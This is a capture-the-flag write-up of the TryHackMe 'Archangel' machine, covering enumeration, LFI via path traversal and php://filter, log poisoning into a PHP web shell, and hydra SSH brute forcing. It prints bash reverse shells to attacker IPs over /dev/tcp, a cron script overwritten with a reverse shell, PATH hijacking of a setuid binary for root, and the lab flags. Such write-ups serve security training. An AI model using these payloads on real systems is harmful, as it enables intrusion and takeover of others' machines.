The Archangel challenge simulated a real-world vulnerable web application environment where misconfigurations and insecure coding practices could be chained together for full system compromise. The target machine hosted multiple virtual hosts and development pages, which upon enumeration, revealed a Local File Inclusion (LFI) vulnerability. This was later weaponized into Remote Code Execution (RCE), allowing us to gain an initial foothold. From there, we escalated privileges by leveraging insecure cron jobs and abusing a setuid binary, ultimately achieving root access. This exercise provided valuable practice in enumeration, exploitation, and privilege escalation, while also highlighting the dangers of exposing development files and poorly implemented access controls.
Deploy Machine
A well known security solutions company seems to be doing some testing on their live machine. Best time to exploit it.
Get a shell
Enumerate the machine
Answer the questions below
hostnamectl
nmap -sV IP_Address
gobuster dir -u IP_Address -w /usr/share/wordlists/dirb/common.txt
gobuster vhost -u [<http://10.10.33.71>](<http://10.10.33.71/>) -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
gobuster dir -u <http://mafialive.thm> -w /usr/share/wordlists/dirb/common.txt -t 40 -x php,txt,html
Find a different hostname
Find flag 1
Look for a page under development
Find flag 2
http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php
https://mafialive.thm/test.php?view=/etc/passwd - failed
http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php - failed
http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg==
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php
//FLAG: thm{explo1t1ng_lf1}
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
if(isset($_GET["view"])){
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
include $_GET['view'];
}else{
echo 'Sorry, Thats not allowed';
}
}
?>
</div>
</body>
</html>
Get a shell and find the user flag
https://mafialive.thm/test.php?view=/etc/passwd
http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin archangel:x:1001:1001:Archangel,,,:/home/archangel:/bin/bash
hydra -l archangel -P /usr/share/wordlists/rockyou.txt ssh://10.10.147.38
http://archangel/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log
http://archangel/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log
/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log&cmd=/bin/bash -c ‘bash -i > /dev/tcp/10.8.134.116/4321 0>&1
10.10.90.89 - - [07/Aug/2025:06:40:29 +0530] "GET /test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36" 10.10.90.89 - - [07/Aug/2025:06:40:30 +0530] "GET /favicon.ico HTTP/1.1" 404 487 "<http://archangel/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log>" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36" 10.10.90.89 - - [07/Aug/2025:06:45:13 +0530] "GET /test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36"
/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log
10.10.90.89 - - [07/Aug/2025:06:40:29 +0530] "GET /test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36" 10.10.90.89 - - [07/Aug/2025:06:40:30 +0530] "GET /favicon.ico HTTP/1.1" 404 487 "<http://archangel/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log>" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36" 10.10.90.89 - - [07/Aug/2025:06:45:13 +0530] "GET /test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36" 10.10.90.89 - - [07/Aug/2025:06:52:52 +0530] "GET /test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log&cmd=/bin/bash%20-c%20%27bash%20-i%20%3E%20/dev/tcp/10.10.90.89/4321%200%3E&1 HTTP/1.1" 200 699 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36" 10.10.90.89 - - [07/Aug/2025:06:52:52 +0530] "GET /favicon.ico HTTP/1.1" 404 491 "<http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log&cmd=/bin/bash%20-c%20%27bash%20-i%20%3E%20/dev/tcp/10.10.90.89/4321%200%3E&1>" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36"
change the domain from mafialive.thm to archangel on /etc/hosts
$ cp /usr/share/webshells/php/php-reverse-shell.php shell.php
// change the port and IP_Address
nc -lvnp 4444
python3 -m http.server
<?php system($_GET['cmd']); ?>
wget%20http://10.8.**.**:8000/rev.php HTTP/1.1
archangel@ubuntu:~$ cat user.txt
cat user.txt thm{lf1_t0_rc3_1s_tr1cky}
Root the machine
Do privilege escalation
Answer the questions below
Get User 2 flag
archangel@ubuntu:~$ ls -ls /secret
ls -ls /secret ls: cannot access '/secret': No such file or directory
archangel@ubuntu:~$ cd secret
cd secret
archangel@ubuntu:~/secret$ ll
ll total 32 drwxrwx--- 2 archangel archangel 4096 Nov 19 2020 ./ drwxr-xr-x 6 archangel archangel 4096 Nov 20 2020 ../ -rwsr-xr-x 1 root root 16904 Nov 18 2020 backup* -rw-r--r-- 1 root root 49 Nov 19 2020 user2.txt
archangel@ubuntu:~/secret$ cat user2.txt
cat user2.txt thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}
http://mafialive.thm/shell.php
Root the machine and find the root flag
https://janesh.hashnode.dev/archangel-thm
echo 'bash -i >& /dev/tcp/10.10.194.169/4444 0>&1' >> /opt/helloworld.sh
s tty; job control turned off
$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
*/1 * * * * archangel /opt/helloworld.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
$ cd /opt
$ ls -la
total 16
drwxrwxrwx 3 root root 4096 Nov 20 2020 .
drwxr-xr-x 22 root root 4096 Nov 16 2020 ..
drwxrwx--- 2 archangel archangel 4096 Nov 20 2020 backupfiles
-rwxrwxrwx 1 archangel archangel 66 Nov 20 2020 helloworld.sh
$ cat helloworld.sh
echo "hello world" >> /opt/backupfiles/helloworld.txt
$ nano helloworld.sh
Unable to create directory /var/www/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.
Press Enter to continue
Error opening terminal: unknown.
$ echo '#!/bin/bash' > /opt/helloworld.sh
$ echo 'bash -i >& /dev/tcp/10.10.194.169/4444 0>&1' >> /opt/helloworld.sh
$ chmod +x /opt/helloworld.sh
chmod: changing permissions of '/opt/helloworld.sh': Operation not permitted
archangel@ubuntu:~/secret$ sudo -l
sudo -l sudo: no tty present and no askpass program specified
archangel@ubuntu:~/secret$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
archangel@ubuntu:~/secret$ file backup*
file backup* backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9093af828f30f957efce9020adc16dc214371d45, for GNU/Linux 3.2.0, not stripped
archangel@ubuntu:~/secret$ ls -la backup ls -la backup
strings backup | less
strings backup | less
WARNING: terminal is not fully functional
- (press RETURN)
/lib64/ld-linux-x86-64.so.2
setuid
system
__cxa_finalize
setgid
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\\A]A^A_
cp /home/user/archangel/myfiles/* /opt/backupfiles
:*3$"
GCC: (Ubuntu 10.2.0-13ubuntu1) 10.2.0
/usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
el@ubuntu:~/secret$ echo -e '#!/bin/bash\n/bin/bash' > cp
echo -e '#!/bin/bash\n/bin/bash' > cp
archangel@ubuntu:~/secret$ chmod +x cp
chmod +x cp
archangel@ubuntu:~/secret$ export PATH=.:$PATH
export PATH=.:$PATH
archangel@ubuntu:~/secret$ ./backup
./backup
root@ubuntu:~/secret# ls -la
ls -la
total 36 drwxrwx--- 2 archangel archangel 4096 Aug 7 08:54 . drwxr-xr-x 6 archangel archangel 4096 Nov 20 2020 .. -rwsr-xr-x 1 root root 16904 Nov 18 2020 backup -rwxrwxr-x 1 archangel archangel 22 Aug 7 08:54 cp -rw-r--r-- 1 root root 49 Nov 19 2020 user2.txt
root@ubuntu:~/secret# cd /root
cd /root
root@ubuntu:/root# ls -la
ls -la total 28 drwx------ 4 root root 4096 Nov 20 2020 . drwxr-xr-x 22 root root 4096 Nov 16 2020 .. -rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc drwx------ 2 root root 4096 Nov 18 2020 .cache drwxr-xr-x 3 root root 4096 Nov 16 2020 .local -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 68 Nov 19 2020 root.txt
root@ubuntu:/root# cat root.txt
cat root.txt thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}
By systematically enumerating and exploiting the target, we uncovered several critical issues: exposed virtual hosts, an LFI vulnerability that could be escalated to RCE, weak protections on user credentials, and unsafe privilege escalation mechanisms. Each step of the compromise reinforced the importance of strong development hygiene, strict access controls, and proper privilege separation. Ultimately, we achieved full root access on the machine, demonstrating how attackers can chain together small misconfigurations into a complete system takeover. The Archangel challenge served as an excellent reminder of the need for defense-in-depth, continuous monitoring, and secure coding practices in both production and development environments.
